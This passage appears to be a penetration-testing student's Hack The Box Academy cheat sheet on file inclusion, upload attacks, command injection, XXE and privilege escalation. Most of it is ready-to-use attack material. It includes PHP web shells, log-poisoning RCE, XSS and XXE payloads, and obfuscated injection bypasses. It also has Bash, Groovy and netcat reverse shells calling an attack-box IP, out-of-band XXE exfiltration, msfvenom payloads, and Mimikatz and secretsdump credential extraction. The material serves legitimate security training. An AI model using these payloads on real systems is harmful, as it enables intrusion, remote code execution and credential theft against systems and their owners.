shell.gif Create malicious image /index.php?language=./profile_images/shell.gif\u0026amp;cmd=id RCE with malicious uploaded image echo '\u0026lt;?php system($_GET[\u0026quot;cmd\u0026quot;]); ?\u0026gt;' \u0026gt; shell.php \u0026amp;\u0026amp; zip shell.jpg shell.php Create malicious zip archive \u0026lsquo;as jpg\u0026rsquo; /index.php?language=zip://shell.zip%23shell.php\u0026amp;cmd=id RCE with malicious uploaded zip php --define phar.readonly=0 shell.php \u0026amp;\u0026amp; mv shell.phar shell.jpg Create malicious phar \u0026lsquo;as jpg\u0026rsquo; /index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt\u0026amp;cmd=id RCE with malicious uploaded phar Log Poisoning\nCommand Description /index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd Read PHP session parameters /index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E Poison PHP session with web shell /index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd\u0026amp;cmd=id RCE through poisoned PHP session curl -s \u0026quot;http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/index.php\u0026quot; -A '\u0026lt;?php system($_GET[\u0026quot;cmd\u0026quot;]); ?\u0026gt;' Poison server log /index.php?language=/var/log/apache2/access.log\u0026amp;cmd=id RCE through poisoned PHP session Misc\nCommand Description ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/index.php?FUZZ=value' -fs 2287 Fuzz page parameters ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/index.php?language=FUZZ' -fs 2287 Fuzz LFI payloads ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/index.php?language=../../../../FUZZ/index.php' -fs 2287 Fuzz webroot path ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://\u0026lt;SERVER_IP\u0026gt;:\u0026lt;PORT\u0026gt;/index.php?language=../../../../FUZZ' -fs 2287 Fuzz server configurations LFI Wordlists LFI-Jhaddix.txt Webroot path wordlist for Linux Webroot path wordlist for Windows Server configurations wordlist for Linux Server configurations wordlist for Windows File Inclusion Functions\nFunction Read Content Execute Remote URL PHP include()/include_once() Yes Yes Yes require()/require_once() Yes Yes No file_get_contents() Yes No Yes fopen()/file() Yes No No NodeJS fs.readFile() Yes No No fs.sendFile() Yes No No res.render() Yes Yes No Java include Yes No No import Yes Yes Yes .NET @Html.Partial() Yes No No @Html.RemotePartial() Yes No Yes Response.WriteFile() Yes No No include Yes Yes Yes Complete Link of Completion\nFile Upload Attacks XSS The most basic example is when a web application allows us to upload HTML files. Although HTML files won\u0026rsquo;t allow us to execute code (e.g., PHP), it would still be possible to implement JavaScript code within them to carry an XSS or CSRF attack on whoever visits the uploaded HTML page. If the target sees a link from a website they trust, and the website is vulnerable to uploading HTML documents, it may be possible to trick them into visiting the link and carry the attack on their machines.\nAnother example of XSS attacks is web applications that display an image\u0026rsquo;s metadata after its upload. For such web applications, we can include an XSS payload in one of the Metadata parameters that accept raw text, like the Comment or Artist parameters, as follows:\nwoadey@htb[/htb]$ exiftool -Comment=\u0026#39; \u0026#34;\u0026gt;\u0026lt;img src=1 onerror=alert(window.origin)\u0026gt;\u0026#39; HTB.jpg woadey@htb[/htb]$ exiftool HTB.jpg ...SNIP... Comment : \u0026#34;\u0026gt;\u0026lt;img src=1 onerror=alert(window.origin)\u0026gt; XSS attacks can also be carried with SVG images, along with several other attacks. Scalable Vector Graphics (SVG) images are XML-based, and they describe 2D vector graphics, which the browser renders into an image. For this reason, we can modify their XML data to include an XSS payload. For example, we can write the following to HTB.svg:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE svg PUBLIC \u0026#34;-//W3C//DTD SVG 1.1//EN\u0026#34; \u0026#34;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\u0026#34;\u0026gt; \u0026lt;svg xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; version=\u0026#34;1.1\u0026#34; width=\u0026#34;1\u0026#34; height=\u0026#34;1\u0026#34;\u0026gt; \u0026lt;rect x=\u0026#34;1\u0026#34; y=\u0026#34;1\u0026#34; width=\u0026#34;1\u0026#34; height=\u0026#34;1\u0026#34; fill=\u0026#34;green\u0026#34; stroke=\u0026#34;black\u0026#34; /\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt;alert(window.origin);\u0026lt;/script\u0026gt; \u0026lt;/svg\u0026gt; XXE Similar attacks can be carried to lead to XXE exploitation. With SVG images, we can also include malicious XML data to leak the source code of the web application, and other internal documents within the server. The following example can be used for an SVG image that leaks the content of (/etc/passwd):\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE svg [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:///etc/passwd\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;svg\u0026gt;\u0026amp;xxe;\u0026lt;/svg\u0026gt; Once the above SVG image is uploaded and viewed, the XML document would get processed, and we should get the info of (/etc/passwd) printed on the page or shown in the page source. Similarly, if the web application allows the upload of XML documents, then the same payload can carry the same attack when the XML data is displayed on the web application.\nWhile reading systems files like /etc/passwd can be very useful for server enumeration, it can have an even more significant benefit for web penetration testing, as it allows us to read the web application\u0026rsquo;s source files. Access to the source code will enable us to find more vulnerabilities to exploit within the web application through Whitebox Penetration Testing. For File Upload exploitation, it may allow us to locate the upload directory, identify allowed extensions, or find the file naming scheme, which may become handy for further exploitation.\nTo use XXE to read source code in PHP web applications, we can use the following payload in our SVG image:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE svg [ \u0026lt;!ENTITY xxe SYSTEM \u0026#34;php://filter/convert.base64-encode/resource=index.php\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;svg\u0026gt;\u0026amp;xxe;\u0026lt;/svg\u0026gt; Once the SVG image is displayed, we should get the base64 encoded content of index.php, which we can decode to read the source code.\nCheatsheet Web Shells\nWeb Shell Description \u0026lt;?php file_get_contents('/etc/passwd'); ?\u0026gt; Basic PHP File Read \u0026lt;?php system('hostname'); ?\u0026gt; Basic PHP Command Execution \u0026lt;?php system($_REQUEST['cmd']); ?\u0026gt; Basic PHP Web Shell \u0026lt;% eval request('cmd') %\u0026gt; Basic ASP Web Shell msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw \u0026gt; reverse.php Generate PHP reverse shell phpbash PHP Web Shell php-reverse-shell PHP Reverse Shell SecLists Web Shells List of Web Shells and Reverse Shells Bypasses\nCommand Description Client-Side Bypass [CTRL+SHIFT+C] Toggle Page Inspector Blacklist Bypass shell.phtml Uncommon Extension shell.pHp Case Manipulation PHP Extensions List of PHP Extensions ASP Extensions List of ASP Extensions Web Extensions List of Web Extensions Whitelist Bypass shell.jpg.php Double Extension shell.php.jpg Reverse Double Extension %20, %0a, %00, %0d0a, /, .\\, ., … Character Injection - Before/After Extension Content/Type Bypass\nCommand Description Web Content-Types List of Web Content-Types All Content-Types List of All Content-Types File Signatures List of File Signatures/Magic Bytes Limited Uploads\nPotential Attack File Types XSS HTML, JS, SVG, GIF XXE/SSRF XML, SVG, PDF, PPT, DOC DoS ZIP, JPG, PNG Complete Link of Completion\nCommand Injections Bashfuscator Install\nwoadey@htb[/htb]$ git clone https://github.com/Bashfuscator/Bashfuscator woadey@htb[/htb]$ cd Bashfuscator woadey@htb[/htb]$ pip3 install setuptools==65 woadey@htb[/htb]$ python3 setup.py install --user Example\nwoadey@htb[/htb]$ ./bashfuscator -c \u0026#39;cat /etc/passwd\u0026#39; -s 1 -t 1 --no-mangling --layers 1 [+] Mutators used: Token/ForCode [+] Payload: eval \u0026#34;$(W0=(w \\ t e c p s a \\/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s \u0026#34;${W0[$Ll]}\u0026#34;;};)\u0026#34; [+] Payload size: 104 characters DOSfuscation Install\nPS C:\\htb\u0026gt; git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git PS C:\\htb\u0026gt; cd Invoke-DOSfuscation PS C:\\htb\u0026gt; Import-Module .\\Invoke-DOSfuscation.psd1 PS C:\\htb\u0026gt; Invoke-DOSfuscation Invoke-DOSfuscation\u0026gt; help HELP MENU :: Available options shown below: [*] Tutorial of how to use this tool TUTORIAL ...SNIP... Choose one of the below options: [*] BINARY Obfuscated binary syntax for cmd.exe \u0026amp; powershell.exe [*] ENCODING Environment variable encoding [*] PAYLOAD Obfuscated payload via DOSfuscation Example\nInvoke-DOSfuscation\u0026gt; SET COMMAND type C:\\Users\\htb-student\\Desktop\\flag.txt Invoke-DOSfuscation\u0026gt; encoding Invoke-DOSfuscation\\Encoding\u0026gt; 1 ...SNIP... Result: typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\\Users\\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\\flag.%TMP:~-13,-12%xt Cheatsheet Injection Operators\nInjection Operator Injection Character URL-Encoded Character Executed Command Semicolon ; %3b Both New Line \\n %0a Both Background \u0026amp; %26 Both (second output generally shown first) Pipe | %7c Both (only second output is shown) AND \u0026amp;\u0026amp; %26%26 Both (only if first succeeds) OR || %7c%7c Second (only if first fails) Sub-Shell `` %60%60 Both (Linux-only) Sub-Shell $() %24%28%29 Both (Linux-only) Linux Filtered Character Bypass\nCode Description printenv Can be used to view all environment variables %09 Using tabs instead of spaces ${IFS} Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $()) {ls,-la} Commas will be replaced with spaces ${PATH:0:1} Will be replaced with / ${LS_COLORS:10:1} Will be replaced with ; $(tr \u0026lsquo;!-}\u0026rsquo; \u0026lsquo;\u0026quot;-~\u0026rsquo;\u0026laquo;\u0026lt;[) Shift character by one ([ -\u0026gt; ) Linux Blacklisted Command Bypass\nCode Description \u0026rsquo; or \u0026quot; Total must be even $@ or \\ Linux only $(tr \u0026ldquo;[A-Z]\u0026rdquo; \u0026ldquo;[a-z]\u0026quot;\u0026laquo;\u0026lt;\u0026ldquo;WhOaMi\u0026rdquo;) Execute command regardless of cases $(a=\u0026ldquo;WhOaMi\u0026rdquo;;printf %s \u0026ldquo;${a,,}\u0026rdquo;) Another variation of the technique echo \u0026lsquo;whoami\u0026rsquo; | rev Reverse a string $(rev\u0026laquo;\u0026lt;\u0026lsquo;imaohw\u0026rsquo;) Execute reversed command echo -n \u0026lsquo;cat /etc/passwd | grep 33\u0026rsquo; | base64 Encode a string with base64 bash\u0026laquo;\u0026lt;$(base64 -d\u0026laquo;\u0026lt;Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) Execute b64 encoded string Windows Filtered Character Bypass\nCode Description Get-ChildItem Env: Can be used to view all environment variables (PowerShell) %09 Using tabs instead of spaces %PROGRAMFILES:~10,-5% Will be replaced with a space (CMD) $env:PROGRAMFILES[10] Will be replaced with a space (PowerShell) %HOMEPATH:~0,-17% Will be replaced with \\ (CMD) $env:HOMEPATH[0] Will be replaced with \\ (PowerShell) Windows Blacklisted Command Bypass\nCode Description \u0026rsquo; or \u0026quot; Total must be even ^ Windows only (CMD) WhoAmi Simply send the character with odd cases \u0026ldquo;whoami\u0026rdquo;[-1..-20] -join '\u0026rsquo; Reverse a string iex \u0026ldquo;$(\u0026lsquo;imaohw\u0026rsquo;[-1..-20] -join \u0026lsquo;\u0026rsquo;)\u0026rdquo; Execute reversed command [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(\u0026lsquo;whoami\u0026rsquo;)) Encode a string with base64 iex \u0026ldquo;$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\u0026lsquo;dwBoAG8AYQBtAGkA\u0026rsquo;)))\u0026rdquo; Execute b64 encoded string Complete Link of Completion\nWeb Attacks HTTP Verb Tampering The first web attack discussed in this module is HTTP Verb Tampering. An HTTP Verb Tampering attack exploits web servers that accept many HTTP verbs and methods. This can be exploited by sending malicious requests using unexpected methods, which may lead to bypassing the web application\u0026rsquo;s authorization mechanism or even bypassing its security controls against other web attacks. HTTP Verb Tampering attacks are one of many other HTTP attacks that can be used to exploit web server configurations by sending malicious HTTP requests.\nInsecure Direct Object References (IDOR) The second attack discussed in this module is Insecure Direct Object References (IDOR). IDOR is among the most common web vulnerabilities and can lead to accessing data that should not be accessible by attackers. What makes this attack very common is essentially the lack of a solid access control system on the back-end. As web applications store users\u0026rsquo; files and information, they may use sequential numbers or user IDs to identify each item. Suppose the web application lacks a robust access control mechanism and exposes direct references to files and resources. In that case, we may access other users\u0026rsquo; files and information by simply guessing or calculating their file IDs.\nXML External Entity (XXE) Injection The third and final web attack we will discuss is XML External Entity (XXE) Injection. Many web applications process XML data as part of their functionality. Suppose a web application utilizes outdated XML libraries to parse and process XML input data from the front-end user. In that case, it may be possible to send malicious XML data to disclose local files stored on the back-end server. These files may be configuration files that may contain sensitive information like passwords or even the source code of the web application, which would enable us to perform a Whitebox Penetration Test on the web application to identify more vulnerabilities. XXE attacks can even be leveraged to steal the hosting server\u0026rsquo;s credentials, which would compromise the entire server and allow for remote code execution.\nAutomated XXE OOB Exfiltration XXEInjector supports most of the tricks we learned in this module, including basic XXE, CDATA source exfiltration, error-based XXE, and blind OOB XXE.\nwoadey@htb[/htb]$ ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter ...SNIP... [+] Sending request with malicious XML. [+] Responding with XML for: /etc/passwd [+] Retrieved data: Cheatsheet XXE\nCode Description \u0026lt;!ENTITY xxe SYSTEM \u0026quot;http://localhost/email.dtd\u0026quot;\u0026gt; Define External Entity to a URL \u0026lt;!ENTITY xxe SYSTEM \u0026quot;file:///etc/passwd\u0026quot;\u0026gt; Define External Entity to a file path \u0026lt;!ENTITY company SYSTEM \u0026quot;php://filter/convert.base64-encode/resource=index.php\u0026quot;\u0026gt; Read PHP source code with base64 encode filter \u0026lt;!ENTITY % error \u0026quot;\u0026lt;!ENTITY content SYSTEM '%nonExistingEntity;/%file;'\u0026gt;\u0026quot;\u0026gt; Reading a file through a PHP error \u0026lt;!ENTITY % oob \u0026quot;\u0026lt;!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'\u0026gt;\u0026quot;\u0026gt; Reading a file OOB exfiltration Complete Link of Completion\nAttacking Common Applications Category Applications Web Content Management Joomla, Drupal, WordPress, DotNetNuke, etc. Application Servers Apache Tomcat, Phusion Passenger, Oracle WebLogic, IBM WebSphere, etc. Security Information and Event Management (SIEM) Splunk, Trustwave, LogRhythm, etc. Network Management PRTG Network Monitor, ManageEngine Opmanger, etc. IT Management Nagios, Puppet, Zabbix, ManageEngine ServiceDesk Plus, etc. Software Frameworks JBoss, Axis2, etc. Customer Service Management osTicket, Zendesk, etc. Search Engines Elasticsearch, Apache Solr, etc. Software Configuration Management Atlassian JIRA, GitHub, GitLab, Bugzilla, Bugsnag, Bitbucket, etc. Software Development Tools Jenkins, Atlassian Confluence, phpMyAdmin, etc. Enterprise Application Integration Oracle Fusion Middleware, BizTalk Server, Apache ActiveMQ, etc. Application Description WordPress WordPress is an open-source Content Management System (CMS) that can be used for multiple purposes. It\u0026rsquo;s often used to host blogs and forums. WordPress is highly customizable as well as SEO friendly, which makes it popular among companies. However, its customizability and extensible nature make it prone to vulnerabilities through third-party themes and plugins. WordPress is written in PHP and usually runs on Apache with MySQL as the backend. Drupal Drupal is another open-source CMS that is popular among companies and developers. Drupal is written in PHP and supports using MySQL or PostgreSQL for the backend. Additionally, SQLite can be used if there\u0026rsquo;s no DBMS installed. Like WordPress, Drupal allows users to enhance their websites through the use of themes and modules. Joomla Joomla is yet another open-source CMS written in PHP that typically uses MySQL but can be made to run with PostgreSQL or SQLite. Joomla can be used for blogs, discussion forums, e-commerce, and more. Joomla can be customized heavily with themes and extensions and is estimated to be the third most used CMS on the internet after WordPress and Shopify. Tomcat Apache Tomcat is an open-source web server that hosts applications written in Java. Tomcat was initially designed to run Java Servlets and Java Server Pages (JSP) scripts. However, its popularity increased with Java-based frameworks and is now widely used by frameworks such as Spring and tools such as Gradle. Jenkins Jenkins is an open-source automation server written in Java that helps developers build and test their software projects continuously. It is a server-based system that runs in servlet containers such as Tomcat. Over the years, researchers have uncovered various vulnerabilities in Jenkins, including some that allow for remote code execution without requiring authentication. Splunk Splunk is a log analytics tool used to gather, analyze and visualize data. Though not originally intended to be a SIEM tool, Splunk is often used for security monitoring and business analytics. Splunk deployments are often used to house sensitive data and could provide a wealth of information for an attacker if compromised. Historically, Splunk has not suffered from a considerable amount of known vulnerabilities aside from an information disclosure vulnerability (CVE-2018-11409), and an authenticated remote code execution vulnerability in very old versions (CVE-2011-4642). PRTG Network Monitor PRTG Network Monitor is an agentless network monitoring system that can be used to monitor metrics such as uptime, bandwidth usage, and more from a variety of devices such as routers, switches, servers, etc. It utilizes an auto-discovery mode to scan a network and then leverages protocols such as ICMP, WMI, SNMP, and NetFlow to communicate with and gather data from discovered devices. PRTG is written in Delphi. osTicket osTicket is a widely-used open-source support ticketing system. It can be used to manage customer service tickets received via email, phone, and the web interface. osTicket is written in PHP and can run on Apache or IIS with MySQL as the backend. GitLab GitLab is an open-source software development platform with a Git repository manager, version control, issue tracking, code review, continuous integration and deployment, and more. It was originally written in Ruby but now utilizes Ruby on Rails, Go, and Vue.js. GitLab offers both community (free) and enterprises versions of the software. Cheatsheet Command Description sudo vim /etc/hosts Opens the /etc/hosts with vim to start adding hostnames sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list Runs an nmap scan using common web application ports based on a scope list (scope_list) and outputs to a file (web_discovery) in all formats (-oA) eyewitness --web -x web_discovery.xml -d \u0026lt;nameofdirectorytobecreated\u0026gt; Runs eyewitness using a file generated by an nmap scan (web_discovery.xml) and creates a directory (-d) cat web_discovery.xml | ./aquatone -nmap Concatenates the contents of nmap scan output (web_discovery.xml) and pipes it to aquatone (./aquatone) while ensuring aquatone recognizes the file as nmap scan output (-nmap) sudo wpscan --url \u0026lt;http://domainnameoripaddress\u0026gt; --enumerate Runs wpscan using the --enumerate flag. Can replace the url with any valid and reachable URL in each challenge sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url \u0026lt;http://domainnameoripaddress\u0026gt; Runs wpscan and uses it to perform a password attack (--password-attack) against the specified url and references a word list (/usr/share/wordlists/rockyou.txt) curl -s http://\u0026lt;hostnameoripoftargetsite/path/to/webshell.php?cmd=id cURL command used to execute commands (cmd=id) on a vulnerable system utilizing a php-based webshell \u0026lt;?php exec(\u0026quot;/bin/bash -c 'bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;ip address of attack box\u0026gt;/\u0026lt;port of choice\u0026gt; 0\u0026gt;\u0026amp;1'\u0026quot;); PHP code that will execute a reverse shell on a Linux-based system droopescan scan joomla --url http://\u0026lt;domainnameoripaddress\u0026gt; Runs droopescan against a Joomla site located at the specified url sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr \u0026lt;username or path to username list\u0026gt; Runs joomla-brute.py tool with python3 against a specified url, utilizing a specified wordlist (/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt) and user or list of usernames (-usr) \u0026lt;?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?\u0026gt; PHP code that will allow for web shell access on a vulnerable Drupal site. Can be used through browsing to the location of the file in the web directory after saving. Can also be leveraged utilizing curl. curl -s \u0026lt;http://domainname or IP address of site\u0026gt; /node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d\u0026quot;\u0026gt;\u0026quot; Uses curl to navigate to php web shell file and run system commands (=id) on the target gobuster dir -u \u0026lt;http://domainnameoripaddressofsite\u0026gt; -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt Gobuster powered directory brute forcing attack referencing a wordlist (/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt) auxiliary/scanner/http/tomcat_mgr_login Useful Metasploit scanner module used to perform a brute force login attack against a Tomcat site python3 mgr_brute.py -U \u0026lt;http://domainnameoripaddressofTomCatsite\u0026gt; -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt Runs mgr_brute.py using python3 against the specified website starts in the /manager directory (-P /manager) and references a specified user or user list (-u) as well as a specified password or password list (-p) msfvenom -p java/jsp_shell_reverse_tcp LHOST=\u0026lt;ip address of attack box\u0026gt; LPORT=\u0026lt;port to listen on to catch a shell\u0026gt; -f war \u0026gt; backup.war Generates a JSP-based reverse shell payload in the form of a .war file utilizing msfvenom nmap -sV -p 8009,8080 \u0026lt;domainname or IP address of tomcat site\u0026gt; Nmap scan useful in enumerating Apache Tomcat and AJP services r = Runtime.getRuntime() p = r.exec([\u0026quot;/bin/bash\u0026quot;,\u0026quot;-c\u0026quot;,\u0026quot;exec 5\u0026lt;\u0026gt;/dev/tcp/10.10.14.15/8443;cat \u0026lt;\u0026amp;5 | while read line; do \\$line 2\u0026gt;\u0026amp;5 \u0026gt;\u0026amp;5; done\u0026quot;] as String[]) p.waitFor() Groovy-based reverse shell payload/code that can work with admin access to the Script Console of a Jenkins site. Will work when the underlying OS is Linux def cmd = \u0026quot;cmd.exe /c dir\u0026quot;.execute(); println(\u0026quot;${cmd.text}\u0026quot;); Groovy-based payload/code that can work with admin access to the Script Console of a Jenkins site. This will allow web shell access and to execute commands on the underlying Windows system String host=\u0026quot;localhost\u0026quot;; int port=8044; String cmd=\u0026quot;cmd.exe\u0026quot;; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new So) Groovy-based reverse shell payload/code that can work with admin access to the Script Console of a Jenkins site. Will work when the underlying OS is Windows reverse_shell_splunk A simple Splunk package for obtaining reverse shells on Windows and Linux systems Complete Link of Completion\nLinux Priviledge Escalation Cheatsheet Command Description ssh htb-student@\u0026lt;target IP\u0026gt; SSH to lab target ps aux | grep root See processes running as root ps au See logged in users ls /home View user home directories ls -l ~/.ssh Check for SSH keys for current user history Check the current user\u0026rsquo;s Bash history sudo -l Can the user run anything as another user? ls -la /etc/cron.daily Check for daily Cron jobs lsblk Check for unmounted file systems/drives find / -path /proc -prune -o -type d -perm -o+w 2\u0026gt;/dev/null Find world-writable directories find / -path /proc -prune -o -type f -perm -o+w 2\u0026gt;/dev/null Find world-writable files uname -a Check the Kernel version cat /etc/lsb-release Check the OS version gcc kernel_exploit.c -o kernel_exploit Compile an exploit written in C screen -v Check the installed version of Screen ./pspy64 -pf -i 1000 View running processes with pspy find / -user root -perm -4000 -exec ls -ldb {} \\; 2\u0026gt;/dev/null Find binaries with the SUID bit set find / -user root -perm -6000 -exec ls -ldb {} \\; 2\u0026gt;/dev/null Find binaries with the SETGID bit set sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root Privilege escalation with tcpdump echo $PATH Check the current user\u0026rsquo;s PATH variable contents PATH=.:${PATH} Add a . to the beginning of the current user\u0026rsquo;s PATH find / ! -path \u0026quot;*/proc/*\u0026quot; -iname \u0026quot;*config*\u0026quot; -type f 2\u0026gt;/dev/null Search for config files ldd /bin/ls View the shared objects required by a binary sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart Escalate privileges using LD_PRELOAD readelf -d payroll | grep PATH Check the RUNPATH of a binary gcc src.c -fPIC -shared -o /development/libshared.so Compile a shared library lxd init Start the LXD initialization process lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine Import a local image lxc init alpine r00t -c security.privileged=true Start a privileged LXD container lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true Mount the host file system in a container lxc start r00t Start the container showmount -e 10.129.2.12 Show the NFS export list sudo mount -t nfs 10.129.2.12:/tmp /mnt Mount an NFS share locally tmux -S /shareds new -s debugsess Create a shared tmux session socket ./lynis audit system Perform a system audit with Lynis Complete Link of Completion\nWindows Privilege Escalation Cheatsheet Initial Enumeration\nCommand Description xfreerdp /v:\u0026lt;target ip\u0026gt; /u:htb-student RDP to lab target ipconfig /all Get interface, IP address and DNS information arp -a Review ARP table route print Review routing table Get-MpComputerStatus Check Windows Defender status Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections List AppLocker rules Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\\Windows\\System32\\cmd.exe -User Everyone Test AppLocker policy set Display all environment variables systeminfo View detailed system configuration information wmic qfe Get patches and updates wmic product get name Get installed programs tasklist /svc Display running processes query user Get logged-in users echo %USERNAME% Get current user whoami /priv View current user privileges whoami /groups View current user group information net user Get all system users net localgroup Get all system groups net localgroup administrators View details about a group net accounts Get password policy netstat -ano Display active network connections pipelist.exe /accepteula List named pipes gci \\\\\\\\.\\pipe\\\\ List named pipes with PowerShell accesschk.exe /accepteula \\\\\\\\.\\\\Pipe\\\\lsass -v Review permissions on a named pipe Handy Commands\nCommand Description mssqlclient.py sql_dev@10.129.43.30 -windows-auth Connect using mssqlclient.py enable_xp_cmdshell Enable xp_cmdshell with mssqlclient.py xp_cmdshell whoami Run OS commands with xp_cmdshell c:\\tools\\JuicyPotato.exe -l 53375 -p c:\\windows\\system32\\cmd.exe -a \u0026quot;/c c:\\tools\\nc.exe 10.10.14.3 443 -e cmd.exe\u0026quot; -t * Escalate privileges with JuicyPotato c:\\tools\\PrintSpoofer.exe -c \u0026quot;c:\\tools\\nc.exe 10.10.14.3 8443 -e cmd\u0026quot; Escalating privileges with PrintSpoofer procdump.exe -accepteula -ma lsass.exe lsass.dmp Take memory dump with ProcDump sekurlsa::minidump lsass.dmp and sekurlsa::logonpasswords Use MimiKatz to extract credentials from LSASS memory dump dir /q C:\\backups\\wwwroot\\web.config Checking ownership of a file takeown /f C:\\backups\\wwwroot\\web.config Taking ownership of a file Get-ChildItem -Path ‘C:\\backups\\wwwroot\\web.config’ | select name,directory, @{Name=“Owner”;Expression={(Ge t-ACL $_.Fullname).Owner}} Confirming changed ownership of a file icacls “C:\\backups\\wwwroot\\web.config” /grant htb-student:F Modifying a file ACL secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL Extract hashes with secretsdump.py robocopy /B E:\\Windows\\NTDS .\\ntds ntds.dit Copy files with ROBOCOPY wevtutil qe Security /rd:true /f:text | Select-String \u0026quot;/user\u0026quot; Searching security event logs wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr \u0026quot;/user\u0026quot; Passing credentials to wevtutil Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*' } | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }} Searching event logs with PowerShell msfvenom -p windows/x64/exec cmd='net group \u0026quot;domain admins\u0026quot; netadm /add /domain' -f dll -o adduser.dll Generate malicious DLL dnscmd.exe /config /serverlevelplugindll adduser.dll Loading a custom DLL with dnscmd wmic useraccount where name=\u0026quot;netadm\u0026quot; get sid Finding a user\u0026rsquo;s SID sc.exe sdshow DNS Checking permissions on DNS service sc stop dns Stopping a service sc start dns Starting a service reg query \\\\\\\\10.129.43.9\\HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters Querying a registry key reg delete \\\\\\\\10.129.43.9\\HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters /v ServerLevelPluginDll Deleting a registry key sc query dns Checking a service status Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local Disabling the global query block list Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3 Adding a WPAD record cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp Compile with cl.exe reg add HKCU\\System\\CurrentControlSet\\CAPCOM /v ImagePath /t REG_SZ /d \u0026quot;\\\\??\\\\C:\\Tools\\Capcom.sys\u0026quot; Add reference to a driver (1) reg add HKCU\\System\\CurrentControlSet\\CAPCOM /v Type /t REG_DWORD /d 1 Add reference to a driver (2) .\\DriverView.exe /stext drivers.txt and cat drivers.txt | Select-String -pattern Capcom Check if driver is loaded EoPLoadDriver.exe System\\CurrentControlSet\\Capcom c:\\Tools\\Capcom.sys Using EopLoadDriver c:\\Tools\\PsService.exe security AppReadiness Checking service permissions with PsService sc config AppReadiness binPath= \u0026quot;cmd /c net localgroup Administrators server_adm /add\u0026quot; Modifying a service binary path REG QUERY HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ /v EnableLUA Confirming UAC is enabled REG QUERY HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ /v ConsentPromptBehaviorAdmin Checking UAC level [environment]::OSVersion.Version Checking Windows version cmd /c echo %PATH% Reviewing path variable curl http://10.10.14.3:8080/srrstr.dll -O 